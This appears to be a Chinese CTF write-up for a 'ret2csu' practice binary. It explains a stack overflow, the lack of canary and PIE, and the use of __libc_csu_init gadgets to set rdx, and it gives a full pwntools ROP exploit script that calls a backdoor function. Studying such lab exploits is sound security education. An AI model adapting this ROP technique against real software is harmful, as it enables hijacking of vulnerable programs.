先checksec一波,no canry ,no pie

image.png
从IDA可以看到程序存在栈溢出漏洞和一个后门函数

漏洞函数

后门函数
但是这个后门函数需要三个参数,a1,a2随意,a3需要为0xdeadcafebabebeef,找一下gadget

image.png
并没有如pop rdx , mov rdx的gadget,这个时候,我们可以利用__libc_csu_init中的gadget

__libc_csu_init
可以控制 r15,r14,r13的值 来达到控制 rdx,rsi,rdi的目的,这里因为有一个坑,setvbuf函数在调用的时候会将rdx赋值为0xffffffff,这样的话就不能成功调用ret2win了,所以找一个初始化函数调用一下
exp:
#-*-coding:utf-8-*-
from pwn import *
p = process('./ret2csu')
context.log_level = 'debug'
init = 0x600E10 #初始化函数地址
rop_1 = 0x400880
rop_2 = 0x40089a
ret2win = 0x4007B1
payload = 0x20*'a'
payload += p64(0) #rbp
payload += p64(rop_2)
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(init) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0xdeadcafebabebeef) #r15
payload += p64(rop_1)
payload += p64(0) #add rsp,8可以理解为pop操作,但是没有pop到寄存器,而有丢弃掉
payload += p64(0) #rbx
payload += p64(0) #rbp
payload += p64(0) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0) #r15
payload += p64(ret2win)
p.sendline(payload)
p.interactive()